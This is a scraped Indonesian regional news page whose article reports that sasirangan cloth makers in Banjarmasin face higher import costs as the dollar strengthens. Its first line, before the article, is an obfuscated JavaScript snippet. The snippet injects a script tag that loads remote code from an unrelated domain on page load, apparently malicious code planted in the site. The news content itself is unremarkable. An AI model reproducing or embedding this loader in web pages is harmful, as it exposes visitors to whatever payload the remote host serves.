(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Pengusaha Kain Sasirangan Ikut Terimbas Dolar


BANJARMASIN, Terus menguatnya nilai tukar mata uang Dolar Amerika Serikat (AS) terhadap Rupiah, membuat pebisnis kain sasirangan lokal ikut terkena imbas negatifnya. Lantaran bahan baku utama untuk membuat kain sasirangan yakni jenis kain dan pewarna merupakan barang impor.

“Karena impor, harga belinya pun mengalami kenaikan. Kalau dipersentasikan kenaikan harga bahan baku yang harus kami tanggung mencapai 10-15 persen,” ucap Owner Caca Sasirangan, Sigit Eko Prabowo, Selasa (9/10).

Kenaikan harga bahan baku sendiri, tentunya sangat merugikan pihaknya, hal itu karena kenaikan terjadi saat penurunan daya beli seperti sekarang. Akibatnya pihaknya tidak serta merta bisa menaikkan harga jual kain sasirangan yang dibuat.

“Dengan harga saat ini saja, kita sangat kesulitan menjual kain sasirangan. Kalau dinaikkan maka tentu bisa makin membuat penurunan persentasi pembelian di pasaran,” ungkapnya.

Pekerja Caca Sasirangan sedang melakukan pewarnaan pada kain sasirangan yang sudah dipola. Foto : arief

Tidak berbeda, pebisnis kerajinan handmade berbahan kain sasirangan, Nurcahyaningsih Dwi Kurniawati pun mengakui, kenaikan harga bahan baku membuat pihaknya harus memutar otak agar tetap bisa memperoleh keuntungan yang kompetitif.

Ia kini lebih banyak memilih mengkreasikan kain sasirangan sisa ketimbang membeli kain sasirangan untuk menjadi berbagai macam kerajinan handmade seperti cincin, kalung, tempat tisu hingga gantungan kunci.

“Kalau memakai kain sasirangan baru kita sekarang cukup kesulitan, karena harganya yang sudah mahal. Solusinya kita pakai kain sasirangan sisa yang masih bagus agar bisa menghemat biaya produksi,” tukas Owner Laningdewe Handmade.(arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.